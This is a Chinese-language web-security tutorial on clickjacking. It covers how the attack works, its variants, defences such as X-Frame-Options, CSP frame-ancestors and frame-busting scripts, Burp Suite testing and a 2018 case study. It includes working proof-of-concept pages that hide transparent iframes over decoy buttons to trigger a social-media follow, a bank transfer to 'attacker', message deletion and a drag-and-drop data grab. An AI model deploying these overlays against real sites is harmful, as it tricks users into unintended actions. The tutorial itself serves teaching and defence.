您现在的位置是：网站首页 > 点击劫持的定义与原理文章详情
点击劫持的定义与原理
陈川
【
前端安全
】
55899人已围观
4366字
点击劫持的定义
点击劫持（Clickjacking）是一种视觉欺骗攻击手段，攻击者通过透明或伪装的界面层诱导用户点击看似无害的元素，实际触发恶意操作。这种攻击利用了HTML的层叠特性（如iframe、CSS opacity等），将目标页面隐藏在诱饵页面之下，使得用户在不知情的情况下执行非预期操作，例如授权转账、关注社交账号或下载恶意软件。
点击劫持的核心原理
攻击实现依赖于以下技术组合：
- 视觉欺骗：通过CSS的
opacity: 0、z-index或pointer-events属性将恶意页面覆盖在诱饵页面上。 - 事件劫持：利用浏览器事件冒泡机制，将用户的点击行为重定向到隐藏的iframe或表单提交按钮。
- 跨域嵌套：通过iframe嵌入目标网站，结合
style="pointer-events:none"绕过部分防护措施。
典型攻击流程如下：
- 攻击者创建一个看似正常的网页（如游戏界面）
- 在该页面上叠加一个透明的iframe，加载目标网站（如银行转账页面）
- 通过CSS调整iframe按钮位置，使其与诱饵页面按钮重合
- 用户点击"游戏按钮"时实际触发了隐藏的转账操作
常见攻击场景示例
社交媒体关注劫持
<style>
#decoy {
position: absolute;
width: 200px;
height: 50px;
background: #1da1f2;
color: white;
text-align: center;
line-height: 50px;
cursor: pointer;
}
#hidden-iframe {
position: absolute;
opacity: 0.01;
z-index: 2;
top: 100px;
left: 50px;
width: 100px;
height: 30px;
}
</style>
<div id="decoy">点击抽奖</div>
<iframe id="hidden-iframe" src="https://twitter.com/follow?user=attacker"></iframe>
当用户尝试点击蓝色抽奖按钮时，实际触发了Twitter的关注操作。
银行转账劫持
// 恶意页面代码
document.addEventListener('DOMContentLoaded', () => {
const iframe = document.createElement('iframe');
iframe.src = 'https://bank.com/transfer?to=attacker&amount=1000';
iframe.style.cssText = `
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
z-index: 9999;
`;
document.body.appendChild(iframe);
// 诱使用户点击的假弹窗
setTimeout(() => {
alert('您的电脑存在病毒，请立即点击确定扫描！');
}, 3000);
});
防御技术实现方案
X-Frame-Options 响应头
服务器端设置HTTP头是最基础的防护：
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
现代浏览器还支持更精细化的控制：
Content-Security-Policy: frame-ancestors 'none';
JavaScript 防御脚本
前端可添加自保护代码：
// 框架检测防御
if (window !== top || window.self !== window) {
document.body.innerHTML = '此页面禁止被嵌套';
top.location = window.location;
}
// 样式干扰防御
<style>
body { display: none !important; }
</style>
<script>
if (self == top) {
document.documentElement.style.display = 'block';
} else {
top.location = self.location;
}
</script>
交互验证增强
关键操作需二次确认：
document.getElementById('transfer-button').addEventListener('click', (e) => {
const rect = e.target.getBoundingClientRect();
if (e.clientX < rect.left || e.clientX > rect.right ||
e.clientY < rect.top || e.clientY > rect.bottom) {
e.preventDefault();
alert('检测到异常点击行为');
}
});
现代浏览器防护机制
Chrome 81+ 版本引入了Frame Isolation策略：
- 默认禁止跨域iframe调用敏感API（如全屏API、地理位置等）
- 新增
Permissions-Policy头控制功能权限：
Permissions-Policy: fullscreen=(self "https://trusted.site")
Safari 采用智能防跟踪技术：
- 自动检测并阻止透明度异常的iframe交互
- 对跨域iframe实施更严格的指针事件限制
点击劫持的变体攻击
拖拽劫持（Drag-and-Drop Jacking）
利用HTML5拖拽API窃取数据：
<iframe src="https://mail.provider.com/compose" style="opacity:0;width:500px;height:300px;"></iframe>
<script>
document.addEventListener('dragstart', (e) => {
const hiddenFrame = document.querySelector('iframe');
hiddenFrame.contentWindow.postMessage({
type: 'drop',
data: e.dataTransfer.getData('text/plain')
}, '*');
});
</script>
触屏劫持（Touchjacking）
针对移动设备的特殊变种：
#fake-button {
position: absolute;
width: 300px;
height: 80px;
z-index: 100;
background: transparent;
}
通过放大透明点击区域，劫持用户的触摸操作。
渗透测试验证方法
使用Burp Suite进行点击劫持检测：
- 拦截目标响应，修改头部添加
X-Frame-Options: ALLOW-FROM https://attacker.com - 构造POC页面测试嵌套可行性
- 使用Clickbandit工具自动生成攻击演示页面
手动测试代码模板：
<!DOCTYPE html>
<html>
<head>
<title>点击劫持测试页</title>
<style>
iframe {
position: absolute;
top: 100px;
left: 50px;
width: 500px;
height: 400px;
opacity: 0.5;
z-index: 2;
}
button {
position: absolute;
z-index: 1;
top: 150px;
left: 150px;
}
</style>
</head>
<body>
<button>查看惊喜</button>
<iframe src="https://target.site/sensitive-action"></iframe>
</body>
</html>
行业实际案例分析
2018年某社交平台漏洞：
- 攻击者利用未设置X-Frame-Options的私信页面
- 构造虚假投票页面覆盖"删除消息"按钮
- 导致用户批量删除私信记录
漏洞利用代码片段：
<div style="position:relative;">
<iframe src="https://social.com/messages" style="opacity:0;width:100%;height:600px;"></iframe>
<div style="position:absolute; top:200px; left:100px;">
<img src="vote-banner.png" width="500">
</div>
</div>
上一篇： 自动化检测与工具推荐
下一篇： 点击劫持的常见攻击方式
